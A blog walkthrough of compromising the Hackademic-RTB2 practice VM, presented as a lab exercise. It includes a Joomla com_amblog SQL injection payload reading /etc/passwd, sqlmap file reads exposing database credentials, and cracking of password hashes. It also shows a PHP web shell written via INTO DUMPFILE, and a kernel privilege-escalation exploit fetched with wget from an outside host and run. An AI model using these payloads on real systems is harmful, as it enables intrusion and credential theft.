forelsec

Solving Hackademic-RTB2

Here’s the second distro from mr. pr0n’s realistic pentest discs. This one was quite fun as I had almost zero experience with Joomla front ends, which so happens to be the entry point on this disc. A little disappointed with the finale, but overall impressed with this disc. With that, the iconic nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Nmap 6.01 scan initiated Wed Nov 14 16:45:09 2012 as: nmap -sS -p- -T5 -A -oN r2.scan 192.168.1.75
Nmap scan report for 192.168.1.75
Host is up (0.00016s latency).
Not shown: 65533 closed ports
PORT    STATE    SERVICE VERSION
80/tcp  open     http    Apache httpd 2.2.14 ((Ubuntu))
|_http-title: Hackademic.RTB2
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
666/tcp filtered doom
MAC Address: 08:00:27:E5:D1:B9 (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:kernel:2.6
OS details: Linux 2.6.17 - 2.6.36, Linux 2.6.19 - 2.6.35
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.16 ms 192.168.1.75

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
# Nmap done at Wed Nov 14 16:45:22 2012 -- 1 IP address (1 host up) scanned in 13.36 seconds

Much like the first one, we’ve essentially just got an HTTP server. Port 666 is tagged as Doom, but its likely there’s something else on there.

There’s the main page. Doesn’t look to be hosted on a web platform, and it doesn’t appear to be vulnerable to any SQLi. Running a few queries…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@bt:/pentest/web/nikto# perl nikto.pl -host http://192.168.1.75
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          192.168.1.75
+ Target Hostname:    192.168.1.75
+ Target Port:        80
+ Start Time:         2012-11-15 18:41:46 (GMT-6)
---------------------------------------------------------------------------
+ Server: Apache/2.2.14 (Ubuntu)
+ Retrieved x-powered-by header: PHP/5.3.2-1ubuntu4.7
+ Apache/2.2.14 appears to be outdated (current is at least Apache/2.2.19). Apache 1.3.42 (final release) and 2.0.64 are also current.
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
+ OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ 6474 items checked: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2012-11-15 18:42:00 (GMT-6) (14 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
root@bt:/pentest/web/nikto# 

There appears to be a phpMyAdmin not locked down, but it doesn’t appear to be vulnerable to anything right off the bat. Checking that 666 port again, connecting with netcat seems to dump out a bunch of HTML. Weird; connecting now…

It appears that port 666 has some form of port knocking or filtering enabled. It also appears to be hosted on Joomla 1.5. There’s an interesting SQLi for early 1.5 builds, but alas this one is already patched. This is the part where I had to do a lot of googling; I’ve only ever made cosmetic modifications to Joomla sites. The gist of evaluating a Joomla box is enumeration of plugins/modules and platform vulnerabilities. Plugins are typically found at http://site.com/index.php?option=com_MODULE. From there it’s sqlmapping, exploit-db’ing (when it’s available…), and googling. Fortunately I stumbled upon a tool that tossed a lot of this toil into a simple package; NBS 0.3 Joomla Addon Attack Tool. This came prepackaged with vulnerable plugin lists that evaluated their existence on the box as well as whether they were vulnerable or not. The tool required a bit of tweaking on my part to account for the non-default port, but otherwise it worked well:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
-=[ NBS 0.3 - Joomla Addon Attack Tool ]=-


Make sure you write 'Yes' or 'No' without apostrophes.
Do you wish to scan for addons? Yes or No: Yes

-= Joomla Addon Vulnerability Scanner =-

Example: http://www.domain.tld
[-] Enter a target to scan: http://192.168.1.75
[-] Enter the target port [80]: 666
[*] Trying: index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id= 
[*] Trying: index.php?option=com_jedirectory&view=item&catid= 
[*] Trying: index.php?option=com_jejob&view=item_detail&itemid= 
[*] Trying: index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id= 
[*] Trying: index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode= 
[*] Trying: index.php?option=com_timetrack&view=timetrack&ct_id= 
[*] Trying: index.php?option=com_jgen&task=view&id= 
[*] Trying: index.php?option=com_zoomportfolio&view=portfolio&view=portfolio&id= 
[*] Trying: index.php?option=com_fabrik&view=table&tableid= 
[*] Trying: index.php?option=com_zina&view=zina&Itemid= 
[*] Trying: index.php?option=com_ongallery&task=ft&id= 
[*] Trying: index.php?option=com_equipment&view=details&id= 
[*] Trying: index.php?option=com_amblog&view=amblog&catid= 
[*] Addon Found: index.php?option=com_amblog&view=amblog&catid= 
[+] This addon appears to be vulnerable!
[+] Exploited with  index.php?option=com_amblog&view=amblog&catid=
[+] Full exploit string: /index.php?option=com_amblog&view=amblog&catid=-1+UNION+SELECT+load_file('/etc/passwd')
root@bt:~/hackademicr2/nbs03#

Just like that I knew the vulnerable plugin and the query string to exploit it. This dumps:

1
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:107::/var/run/dbus:/bin/false avahi-autoipd:x:103:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false avahi:x:104:111:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false couchdb:x:105:113:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash speech-dispatcher:x:106:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh usbmux:x:107:46:usbmux daemon,,,:/home/usbmux:/bin/false haldaemon:x:108:114:Hardware abstraction layer,,,:/var/run/hald:/bin/false kernoops:x:109:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false pulse:x:110:115:PulseAudio daemon,,,:/var/run/pulse:/bin/false rtkit:x:111:117:RealtimeKit,,,:/proc:/bin/false saned:x:112:118::/home/saned:/bin/false hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false gdm:x:114:120:Gnome Display Manager:/var/lib/gdm:/bin/false p0wnbox:x:1000:1000:p0wnbox,,,:/home/p0wnbox:/bin/bash mysql:x:115:123:MySQL Server,,,:/var/lib/mysql:/bin/false 

Playing around with sqlsus, we find:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@bt:/pentest/database/sqlsus# ./sqlsus hackr2.conf 

              sqlsus version 0.7.2

  Copyright (c) 2008-2011 Jérémy Ruffet (sativouf)

[+] Session "192.168.1.75" created
sqlsus> start
[+] Correct number of columns for UNION : 1 (1)
[+] Length restriction on URL : 8200 bytes                      
[+] Filling %target...
+----------+--------------------+
| Variable | Value              |
+----------+--------------------+
| database | joomla             |
| user     | 'root'@'localhost' |
| version  | 5.1.41-3ubuntu12.8 |
+----------+--------------------+
3 rows in set 

sqlsus> 

And for reference:

1
2
root@bt:/pentest/database/sqlsus# cat hackr2.conf | grep 192.168.1.75
our $url_start = "http://192.168.1.75:666/index.php?option=com_amblog&view=amblog&catid=-1";

Looking up the Joomla 1.5 database schema, we find the users can be found in jos_users:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
sqlsus> get columns jos_users
[+] Getting columns names for joomla.jos_users
+----------------------+                                              
| Columns in jos_users |
+----------------------+
| id                   |
| name                 |
| username             |
| email                |
| password             |
| usertype             |
| block                |
| sendemail            |
| gid                  |
| registerdate         |
| lastvisitdate        |
| activation           |
| params               |
+----------------------+
13 rows in set 

sqlsus> select id,username,password,usertype from jos_users
+----+---------------+-------------------------------------------------------------------+---------------------+
| id | username      | password                                                          | usertype            |
+----+---------------+-------------------------------------------------------------------+---------------------+
| 62 | Administrator | 08f43b7f40fb0d56f6a8fb0271ec4710:n9RMVci9nqTUog3GjVTNP7IuOrPayqAl | Super Administrator |
| 63 | JSmith        | 992396d7fc19fd76393f359cb294e300:70NFLkBrApLamH9VNGjlViJLlJsB60KF | Registered          |
| 64 | BTallor       | abe1ae513c16f2a021329cc109071705:FdOrWkL8oMGl1Tju0aT7ReFsOwIMKliy | Registered          |
+----+---------------+-------------------------------------------------------------------+---------------------+
3 rows in set (2 hits)

sqlsus> 

These passwords are stored as md5(password + salt), so we need to load them up into Hashcat or john and let them run around. As a note, I modified the hashes a bit to be in the form username:md5$salt

1
2
3
4
5
6
7
8
root@bt:/pentest/passwords/john# john --wordlist=/pentest/passwords/wordlists/rockyou.txt --form=dynamic_1 /root/hackademicr2/hashes.txt 
Loaded 3 password hashes with 3 different salts (dynamic_1: md5($p.$s) (joomla) [128/128 SSE2 intrinsics 32x4x1])
Remaining 1 password hash
guesses: 0  time: 0:00:00:03 DONE (Thu Nov 15 23:03:45 2012)  c/s: 4333K  trying:   b1tch3s   -  * 7¡Vamos! 
root@bt:/pentest/passwords/john# cat john.pot
$dynamic_1$992396d7fc19fd76393f359cb294e300$70NFLkBrApLamH9VNGjlViJLlJsB60KF:matrix
$dynamic_1$abe1ae513c16f2a021329cc109071705$FdOrWkL8oMGl1Tju0aT7ReFsOwIMKliy:victim
root@bt:/pentest/passwords/john# 

Well we got the two users, but no super admin.

I handed the hash off for further cracking elsewhere, but lets again take a look at the results dirbuster turned up:

After more digging through Joomla documentation, turns out the ‘configuration.php’ holds, surprise, Joomla site configurations, specifically..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
root@bt:/pentest/database/sqlmap# python sqlmap.py --url "http://192.168.1.75:666/index.php?option=com_amblog&view=amblog&catid=-1" -p 'catid' --dbms mysql --file-read="/var/www/configuration.php"
[SNIP]
root@bt:/pentest/database/sqlmap# cat output/192.168.1.75/files/_var_www_configuration.php 
<?php
class JConfig {
/* Site Settings */
var $offline = '0';
var $offline_message = 'This site is down for maintenance.<br /> Please check back again soon.';
var $sitename = 'Hackademic.RTB2';
var $editor = 'tinymce';
var $list_limit = '20';
var $legacy = '0';
/* Debug Settings */
var $debug = '0';
var $debug_lang = '0';
/* Database Settings */
var $dbtype = 'mysql';
var $host = 'localhost';
var $user = 'root';
var $password = 'yUtJklM97W';
var $db = 'joomla';
var $dbprefix = 'jos_';
/* Server Settings */
var $live_site = '';
var $secret = 'iFzlVUCg9BBPoUDU';
var $gzip = '0';
var $error_reporting = '-1';
var $helpurl = 'http://help.joomla.org';
var $xmlrpc_server = '0';
var $ftp_host = '127.0.0.1';
var $ftp_port = '21';
var $ftp_user = '';
var $ftp_pass = '';
var $ftp_root = '';
var $ftp_enable = '0';
var $force_ssl = '0';
[SNIP]

Huzzah, root password hardcoded into the configuration file. Note that this is only the MySQL root password, although its entirely possible that its also the system root password. We know that there exists a phpMyAdmin listener, so lets log into that with our newfound credentials:

Now we’ve got root on the database and access to the phpMyAdmin console. From here, we can inject a backdoor that allows us to execute commands on the backend system. This method was taken from here, though it’s not exactly new.

First we create a new table:

1
2
3
CREATE TABLE shell(
 Sauce TEXT
) ENGINE = MYISaM;

Here we’re creating a new table, shell, with a single text field, Sauce, as a MYISaM container (more here). Next we’ll insert the actual shell interpreter into the table:

1
2
3
4
INSERT INTO shell
VALUES(
'<pre><? @system($_REQUEST["v"]); ?></pre>'
);

Next we’re going to need to dump to a php file for us to actually run with. This can be done with the INTO DUMPFILE sql command, like so:

1
2
3
SELECT *
INTO DUMPFILE '/var/www/st.php'
FROM shell;

How do we know to hit /var/www? By pulling the default apache2 config file of course:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
root@bt:/pentest/database/sqlmap# python sqlmap.py --url "http://192.168.1.75:666/index.php?option=com_amblog&view=amblog&catid=-1" -p 'catid' --dbms mysql --file-read='/etc/apache2/sites-available/default'
root@bt:/pentest/database/sqlmap# cat output/192.168.1.75/files/_etc_apache2_sites-available_default 
[SNIP]
<VirtualHost *:666>
    ServerAdmin webmaster@localhost

    DocumentRoot /var/www
    <Directory />
        Options FollowSymLinks
        AllowOverride None
    </Directory>
    <Directory /var/www/>
        Options Indexes FollowSymLinks MultiViews
        AllowOverride None
        Order allow,deny
        allow from all
    </Directory>

    ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
    <Directory "/usr/lib/cgi-bin">
        AllowOverride None
        Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
        Order allow,deny
        Allow from all
    </Directory>

    ErrorLog /var/log/apache2/error.log

    # Possible values include: debug, info, notice, warn, error, crit,
    # alert, emerg.
    LogLevel warn

    CustomLog /var/log/apache2/access.log combined

    Alias /doc/ "/usr/share/doc/"
    <Directory "/usr/share/doc/">
        Options Indexes MultiViews FollowSymLinks
        AllowOverride None
        Order deny,allow
        Deny from all
        Allow from 127.0.0.0/255.0.0.0 ::1/128
    </Directory>

</VirtualHost>

Now we can execute commands on the backend:

As you can see, most everything in /var/www/ is owned by root, which would explain our inability to write anywhere. The ownership of configuration.php would also explain our ability to retrieve it.

Another interesting bit was found in user p0wnbox’s download’s folder. knockknock-0.7.tar.gz.

We can’t yet read the configuration file (we’re www-data), but it appears that a port knocker is running. This is likely why I couldn’t immediately connect to the :666 Joomla site. Interesting.

Let’s drop a reverse shell onto the box the same way we did the command access.

1
2
3
4
5
6
7
8
9
10
11
12
13
CREATE TABLE bdshell(
Sauce TEXT
);

INSERT INTO bdshell
VALUES(INSERT INTO shell
VALUES(
[SNIP]
);

SELECT *
INTO DUMPFILE '/var/www/bd.php'
FROM bdshell;

The snipped area from the insert is just a PHP reverse shell, stripped of all apostrophes. We can now connect to it like so:

Now we’ve got a shell on the box as www-data. A little enumeration…

1
2
3
4
$ whoami
www-data
$ uname -a
Linux HackademicRTB2 2.6.32-24-generic #39-Ubuntu SMP Wed Jul 28 06:07:29 UTC 2010 i686 GNU/Linux

Huzzah,privilege escalation time. Funny enough, exactly the exploit we used for RTB1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$ cd /tmp
$ ls
orbit-gdm
pulse-PKdhtXMmr18n
$ wget www.vsecurity.com/download/tools/linux-rds-exploit.c
--2012-11-19 06:01:56--  http://www.vsecurity.com/download/tools/linux-rds-exploit.c
Resolving www.vsecurity.com... 209.67.252.12
Connecting to www.vsecurity.com|209.67.252.12|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6435 (6.3K) [text/x-c]
Saving to: `linux-rds-exploit.c'

     0K ......                                                100% 83.6K=0.08s

2012-11-19 06:01:56 (83.6 KB/s) - `linux-rds-exploit.c' saved [6435/6435]

$ ls
linux-rds-exploit.c
orbit-gdm
pulse-PKdhtXMmr18n
$ gcc linux-rds-exploit.c -o sploit
$ ./sploit
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved rds_proto_ops to 0xe099e980
 [+] Resolved rds_ioctl to 0xe0998090
 [+] Resolved commit_creds to 0xc016dd80
 [+] Resolved prepare_kernel_cred to 0xc016e0c0
[*] Overwriting function pointer...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved rds_proto_ops to 0xe099e980
 [+] Resolved rds_ioctl to 0xe0998090
 [+] Resolved commit_creds to 0xc016dd80
 [+] Resolved prepare_kernel_cred to 0xc016e0c0
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
$ whoami
root
$ cd /root
$ ls
Desktop
Key.txt

Bam. Answering a question I had before,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ cat /etc/knockd.conf
[options]
    UseSyslog

[openHTTPD]
    sequence    = 7000,8000,9000
    seq_timeout = 5
    command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 666 -j ACCEPT
    tcpflags    = syn

[closeHTTPD]
    sequence    = 9000,8000,7000
    seq_timeout = 5
    command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 666 -j ACCEPT
    tcpflags    = syn

So we’d need to hit 7000, then 8000, then finally 9000 to get accepted. Fortunately a simple nmap of the box will enable this rule, so it really isn’t a very impressive port knocking tool.

Overall a fun disc. And if there’s any interest, I may pick up the Joomla attack tool and continue development of it.